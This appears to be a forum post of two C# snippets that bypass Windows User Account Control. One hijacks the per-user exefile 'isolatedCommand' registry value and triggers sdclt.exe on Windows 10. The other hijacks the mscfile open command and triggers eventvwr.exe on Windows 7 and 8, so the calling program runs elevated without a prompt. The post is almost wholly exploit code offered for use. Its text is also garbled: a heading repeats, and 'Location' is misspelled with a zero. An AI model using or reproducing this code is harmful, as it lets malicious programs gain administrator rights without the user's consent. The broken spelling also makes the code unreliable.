Windows 10:
Windows 7, 8, 8.1:
Kod:
Process proc = new Process();
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = false;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.FileName = "cmd.exe";
try
{
RegistryKey key = Registry.CurrentUser.CreateSubKey("Software").CreateSubKey("Classes").CreateSubKey("exefile").CreateSubKey("shell").CreateSubKey("runas").CreateSubKey("command");
key.SetValue("isolatedCommand", Assembly.GetEntryAssembly().l0cation);
proc.StartInfo.Arguments = "/C sdclt.exe /kickoffelev";
key.Close();
}
catch (Exception e) { Console.WriteLine(e.Message); }
Windows 7, 8, 8.1:
Kod:
Process proc = new Process();
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = false;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.FileName = "cmd.exe";
try
{
RegistryKey key = Registry.CurrentUser.CreateSubKey("Software").CreateSubKey("Classes").CreateSubKey("mscfile").CreateSubKey("shell").CreateSubKey("open").CreateSubKey("command");
key.SetValue("", Assembly.GetEntryAssembly().L0cation);
proc.StartInfo.Arguments = "/C eventvwr.exe";
key.Close();
}
catch (Exception e) { Console.WriteLine(e.Message); }